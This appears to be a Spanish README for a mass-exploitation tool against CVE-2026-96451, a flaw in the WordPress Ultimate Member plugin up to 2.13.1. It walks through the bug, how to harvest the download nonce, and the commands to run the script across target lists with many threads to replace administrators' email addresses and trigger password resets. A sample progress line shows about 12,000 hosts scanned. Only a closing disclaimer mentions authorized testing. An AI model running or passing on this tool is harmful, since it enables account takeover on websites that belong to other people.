
Vulnerabilidad de escalada de privilegios en el plugin Ultimate Member de WordPress <= 2.13.1
Vulnerabilidad de escalada de privilegios en el plugin Ultimate Member de WordPress <= 2.13.1
Ultimate Member <= 2.13.1 — Escalada de privilegios / Toma de control de cuenta
📌 Registro oficial: CVE-2026-96451
De CVE.org:
Vulnerabilidad de omisión de autorización mediante clave controlada por el usuario en Ultimate Member Ultimate Member ultimate-member permite la escalada de privilegios. Este problema afecta a Ultimate Member: desde n/a hasta 2.13.1.
| Campo | Valor |
|---|---|
| 🆔 CVE | CVE-2026-96451 |
| 🏷️ CWE | CWE-639 — Omisión de autorización mediante clave controlada por el usuario |
| 📊 CVSS 3.1 | 8.8 ALTO AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 🏢 Asignador | Patchstack |
| ⚠️ Afectado | Ultimate Member hasta 2.13.1 |
| ✅ Corregido | 2.14.0 |
Un suscriptor con sesión iniciada puede cambiar el correo electrónico de otro usuario (normalmente el administrador). WordPress entonces acepta un restablecimiento de contraseña para ese nuevo buzón.
um_fetch_user($user_id) y cambia el usuario global al ID de la URL.download_routing() retorna sin um_reset_user()._um_account=1, user_email=...).account_submit() lee um_user('ID') — ahora la víctima — y escribe el nuevo correo electrónico.El nonce de descarga es wp_create_nonce($user_id . $form_id . 'um-download-nonce'). Está vinculado a ese ID de usuario. No se puede inventar. El script lo copia de un enlace visible /um-download/{form}/{field}/{user}/{nonce}/.
Se debe mostrar un campo personalizado de archivo o imagen en el perfil. Las fotos de perfil/portada integradas no producen este enlace.
pip install requests rich
El registro, inicio de sesión, recolección de nonce, explotación y verificación de restablecimiento son automáticos. No creas cuentas a mano ni pasas una contraseña de suscriptor para un escaneo masivo.
python CVE-2026-96451.py -l targets.txt -t 80 --email "[email protected]" -o um_takeover.txt
Qué hace este comando en cada host:
/account//um-download/ (prefiere el ID de usuario 1, luego cualquier miembro con un archivo)--emailwp-login.php?action=lostpassword (WordPress no necesita un nonce aquí)um_takeover.txt--email es el buzón colocado en la cuenta objetivo para que puedas recibir el restablecimiento. El script no abre la bandeja de entrada ni establece una nueva contraseña. Ese último paso es manual.
python CVE-2026-96451.py -u "https://example.com" --email "[email protected]"
| Flag | Propósito | Predeterminado |
|---|---|---|
-l / --list | Archivo de objetivos | — |
-u / --url | Un objetivo | — |
-t / --threads | Workers | 10 |
-o / --output | Archivo de resultados | um_takeover.txt |
--email | Buzón escrito en la víctima | generado automáticamente |
--target-id | ID de usuario preferido | 1 |
--user / --password | Usar un suscriptor existente en lugar de registrarse | desactivado |
-v / --verbose | Imprimir cada etapa | desactivado |
En una máquina RDP lenta, 80–150 hilos es suficiente. Un escaneo de lista da a cada host unos 22 segundos.
[5400/11965] RST:0 CHG:0 UM:4463 REG:589 rf:3874 lf:0 na:141 nd:448 nc:0 no:937
| Código | Significado |
|---|---|
RST / CHG | Correo cambiado y/o restablecimiento aceptado — revisa la bandeja de entrada |
UM | Ultimate Member detectado |
REG | El autorregistro creó una sesión |
rf | Sin formulario público, CAPTCHA, aprobación o activación por correo |
lf | Registrado pero el inicio de sesión falló |
na | Página de cuenta / nonce ausente |
nd | Sin nonce de descarga visible (sin campo de archivo personalizado) |
nc | Exploit enviado, cambio no confirmado |
no | No es Ultimate Member |
REG_FAIL en muchos hosts es normal. La cadena solo continúa donde el registro crea una sesión y un enlace de descarga es visible.
Cuando aparece RST o CHG:
--email/wp-login.php o /wp-admin/Este proyecto es solo para investigación de seguridad autorizada — sistemas que posees o para los que tienes permiso por escrito para probar.
El acceso no autorizado a sistemas informáticos es ilegal. El autor no acepta ninguna responsabilidad por el mal uso, daños o cualquier resultado de este software. Eres el único responsable de cómo se utiliza y de cada objetivo que escaneas.
Por: Nxploited ( Khaled Alenazi )